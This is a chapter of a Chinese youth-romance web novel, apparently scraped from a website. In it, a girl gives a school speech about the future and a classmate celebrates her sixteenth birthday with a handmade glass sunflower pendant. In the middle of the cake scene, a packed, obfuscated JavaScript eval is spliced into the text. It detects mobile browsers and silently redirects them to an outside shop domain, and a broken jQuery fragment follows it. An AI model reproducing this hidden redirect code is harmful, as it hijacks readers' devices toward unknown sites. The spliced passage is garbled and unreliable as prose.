周一,操场上人潮踊跃。
升旗仪式对大多数高中生来说,向来是最乏味的环节,往常这时候,底下总有窸窸窣窣的说话声。
可今天不一样。
当徐知暖走上主席台时,所有的交谈声被一刀切断。
寂静只持续了很短一瞬。
随即转为浮动的私语。
早起的困意也在这时烟消云散。
徐知暖走到主席台正中,手上只有话筒,没有演讲稿。
面对底下探视的目光,她已经习惯,心里出奇的平静。
她暗暗轻叹,声音透过话筒,沉缓荡开:
“大家好,我是高二(一)班,徐知暖,今天演讲的主题,是未来。”
“对我来说,未来,这是一个宏观,甚至有些遥远的词。遥远到我很少真正去设想它。在很长一段时间里,我的‘未来’不关于成为什么,而关于摆脱什么。”
她神情温婉地望向台下黑压压的人影,粉唇微扬,一字一句,掷地有声。
“后来我渐渐明白,每个人的未来,起点本就不同。有人在坦途上标记里程,有人在荆棘里寻找出口。没有哪一种更高贵,或更卑微。我们不过是在不同的路上,争取一个属于自己的以后。”
“这个以后,也许没有那么光芒万丈。它可能只是睡一觉,醒来后不会太紧张。也可能是提起过去时,不会再轻易被回忆割伤。”
“它像是一场关乎于自己的和解,让我们不断学习,大胆往前走。”
台下的神情渐渐褪去轻浮,露出专注。
风穿过操场,拂起少女发尾的黑发。
“所以,如果一定要问我什么是未来。那大概就是,我仍愿意相信,跨过坎坷之后,前面还会有光。而现在的每一步,本身就已经是未来。”
“如果可以,我也希望,我的未来可以璀璨、广阔,拥有自己的一方天地。”
她原本以为,自己想要的未来平平淡淡就好。
可当真的写下这些字,回头去看从前的自己时,她才发觉,每一个时期的自己,都有在渴望一个明亮的未来。
只是这些年,身上背负的东西太多,久而久之,便觉得自己不配,只配过最寻常的日子。
可如果卸下所有。
她希望,自己能奔向更好、更远的天地。
“我也祝愿每一位同学,都能在属于自己的蓝图上,肆意生长。无论是灿烂,还是平凡,那都是未来。”
“我的演讲到此结束。”
“谢谢。”
她弯腰,鞠躬。
然后转身走下台,背影在晨光里显得清棱而孤直,有种超出年龄的淡泊与笃定。
操场上依然安静。
那阵窃窃私语没有立刻回来,仿佛她的声音抽走了某些东西,留下片刻沉实的空白。
直到教导主任迟滞地走上台。
空气才重新流动起来,台下响起掌声,起初零落,随后汇聚成一片温厚而汹涌的潮水。
人群里。
江澈站在队伍末尾,不动声色地向外挪了半步,视线再无阻碍。
少女站在主席台边的绿荫下,碎金般的光斑透过叶隙落在她身上,明明灭灭地流转。他看不清她的表情,只觉那抹身影在光与影之间,寂静夺目。
他目光停在那里,久久未能移开。
他不知道是什么让她的未来忽然改变了方向。
但他想。
只有她今天所说的那个未来,才该是她原本该有的模样。
她这样的人。
本就该站在光里,走向熠熠归途。
-
三月,芽苞挣出一层薄绿。
很快到了20号。
蛋糕是前一天就订好的。
他原本打算一放学就带徐知暖去过生日,可转念又不想打乱她原本的节奏。于是像往常一样,先陪她到了奶茶店,自己则去了附近的一个商场。
他从未挑过礼物。
以前向驰过生日,都是转账,那小子也乐意收钱。
可徐知暖一定不会。
而且,他也不想。
没什么意思。
江澈在商场里绕了一圈又一圈,几乎每家店都进去看了,可总觉得差点意思,索性离开。
商场外面连着一条步行街,两旁挤满各式的小店。
他漫无目的逛了很久,快走到尽头时,脚步忽的一顿。
马路正对面,一块白色的木招牌上写着楷体店名——
Sunflower。
旁边还用彩漆画了一株向日葵。
不知道里面卖什么。
江澈想着去看看。
他穿过马路,推门进去。
店内是暖色调的装修,木架上摆着几支鲜切的向日葵,桌上是一些烧玻璃的工具。
看样子,是一家手作店。
“同学你好,”穿着黄色店服的店员走过来,问,“想做饰品吗?”
默了几秒,江澈点头。
“我们这儿可以DIY,也可以定制,你有什么想法吗?”
“DIY。”
“好。”
工作日的下午,店里很空。
店员领他到一张宽敞的木桌前,备齐所有工具,简单讲解了几句步骤。江澈便坐下来,开始动手。
他是学美术的,对形体和细节有种天然的把握,上手很快,动作也越来越流畅。
“同学,你做得这么好,有没有兴趣来我们这儿兼职呀?”店员在一旁打趣。
江澈没应声。
无论是画画还是做这个,他一旦专注,就会自动屏蔽周围所有的声音。
意识到他不想被打扰,店员礼貌笑了笑,也不再多话,转身去整理桌面。
……
工作灯下,一朵玻璃向日葵渐渐成形。
不是单薄的一片,花瓣层层叠叠,每一瓣都带着微小的弧度,在光下流转着细微的彩晕。
店员偶尔往这边看一眼,见他差不多做完了,才又走过来,“打算做成什么?项链、手链,还是胸针?”
江澈想了想:“挂链,可以么?”
“可以,跟我来吧。”
他端着零散的成品,走到另一张工作台前。
店员根据江澈的要求开始钻孔、穿链。
拿起那几颗烧制好、大小不一的字母时,她抬头问:“这个顺序怎么排?”
江澈将字母一一排开——
——SunflowerXZN。
店员促狭笑了声,本来只觉得是个话少、手工不错的男生,看到这串字母,难免多想一层。
“这是你女朋友啊?”
“不是。”
“那就是送人?”
“嗯。”
店员把最后一道工序做完,包装好,递到他面前:“那很用心了。我相信你的那位朋友,她一定会喜欢的。”
“谢谢。”
-
回去的路上,江澈取了蛋糕,在奶茶店附近的长椅上坐下等她。
快九点半时,他给徐知暖发了条消息:
【我在外面等你。】
徐知暖过了会儿回:【好。】
周围的店铺陆续熄了灯,小路静下来。
晚风很软,柔柔擦过耳边,送来一声清亮温软的呼唤——
“江澈!”
他闻声转头。
少女背着书包,小跑着朝他而来,高马尾在肩后轻快晃动。她脸上漾着笑,眼瞳在幽暗的路灯下,像浸了水的琉璃,亮晶晶的。
徐知暖微喘着停在他面前:“你怎么不进去?”
“刚到。”他说。
江澈不是没想过进店里等。
只是手里拎的东西太多,有点引人注目。
而且……
他说不清那种感觉,像惊喜,又更像约定,一个只属于他们两的约定。
他私心地不想让任何人参与、知道。
连他自己都觉得,这份心思有点幼稚。
徐知暖很快注意到了长椅上的东西。
最醒目的,当然是那个蛋糕盒。
早上出门时,爷爷还提过,晚上要一起给她过生日。
结果今天店里忙,她完全忘了,直到看见这个蛋糕才想起。
也想起某个夜晚,少年曾对她说。
——“我会给你过的。”
心里像燃起无数根蜡烛,暖融融的。
虽然猜到,可她还是想问一句:“你是来给我过生日的?”
少年点头:“嗯。”
两人在长椅上坐下,中间隔着那个蛋糕。
江澈解开丝带,掀开盒盖。
蛋糕是明黄色的,样式简单,上面缀着一朵朵精致的向日葵,间隙还有几瓣小雏菊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17573990|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他插上蜡烛,点燃:“许愿吧。”
“好!”徐知暖闭上眼,刚酝酿着愿望,耳畔忽然响起低沉、温柔的歌声。
所有思绪一瞬间被屏退。
她怔忡地睁开眼。
烛光也映亮了少年的脸,还是棱角分明,却不再锋利,可此刻所有的冷硬都被烛火融化了,只余下揉碎的柔和。
他唇瓣轻动,认真唱着生日歌。
歌声青涩,却像低缓缱绻的低音提琴,拨动着琴弦。
徐知暖眼眶微涩。
记忆里,她已经想不起,上一次有人为她唱生日歌是什么时候了。
她忍不住牵起嘴角,笑着,同时,两滴晶莹的水珠顺着脸颊滑落。
歌声停了。
他的声音再次响起,带着笑:“生日还哭啊?”
徐知暖低下头抿住唇,可笑意还是从眼睛里溢出,怎么都藏不住。
“愿望许完了吗?”他问。
徐知暖摇头。
“那还不许,生日一年就一次,错过了可就没了。”
“哦。”她带着一点鼻音,又闭上眼,很认真地、一字一句,轻声,
“希望,我爱的人,可以健康、快乐。”
许完,她睁开眼,习惯性地凑近蜡烛,刚要吹,江澈却把蛋糕挪开了。
徐知暖一愣:“怎么了?”
“你这许的什么愿?”他微微蹙眉。
徐知暖懵懵的。
见她没懂,江澈直言:“你这是你生日,老给别人许什么愿。”
“那也包括我呀,”她笑起来,“我爱我自己。”
江澈勉强接受了这个说法,但还是觉得,她说这话的时候,大概根本没把自己算进去。
“再许一个。”他说。
“还能这样?”
“我说能就能。”
徐知暖也没所谓,看着眼前的蛋糕,随口说:“那我想看向日葵花海。”
她观察着江澈的表情,试探着问:“现在可以吹了吗?”
江澈把蛋糕重新挪回她面前:“吹吧。”
晚风恰好经过,徐知暖没费什么力气,轻轻一吹,烛火就熄了。
她切了两块蛋糕,递一块给他。
江澈接过,安静地吃着。
礼物其实就在手边,可他从来没正儿八经送过女生东西,手伸出去又缩回,反复几次。直到手里那块蛋糕吃完,也没能把那个丝绒盒子拿出来。
……
和往常一样,送她到家门口。
看着少女拿钥匙开门的背影,江澈犹豫了又犹豫。直到门锁“咔哒”一声轻响,他才鼓起勇气出声:
“徐知暖。”
徐知暖回头。
马尾滑到肩前,碎发被风吹得缭乱,糊着半张脸。
“怎么了?”她问。
江澈的心跳快了几分。
他走上前,把一直拎在手里的礼袋递到她面前。
“生日礼物。”
徐知暖微怔着接过,低头看了一眼。
袋内是一个长方形的丝绒盒子。
“现在可以看吗?”
“嗯。”
她拿出来,打开。
丝绒布上躺着一条挂链,制作很精美。顶端是一个小巧的银色蝴蝶结,下面坠着一串精致的字母,尾部是一朵盛放的玻璃向日葵。
她的视线再次移回那串字母上。
“SunflowerX、Z、N,”她念了出来,眼里带着不解,抬头看江澈,“这是什么意思?”
“向日葵。”他说。
察觉到他好像还没说完,徐知暖没出声打扰。
过了两秒,他温声问:“你知道它的花语吗?”
“向阳而生?”
“嗯,”江澈说,“不过,还有一个。”
除了这一个,徐知暖没听过别的。
她好奇问:“是什么?”
“心之所向。”
“徐知暖,”他说得真诚,想把所有美好都捧到她面前,“十六岁生日快乐。”
“你不是任何错误的附庸,也不该是谁痛苦的延续。你只是徐知暖。你的十六岁,值得一个全新、明亮的起始。活在光里,从此,奔赴你的心之所向。”
而我,会陪着你。
就像——
向日葵向往太阳。
而你,是我唯一的心之所向。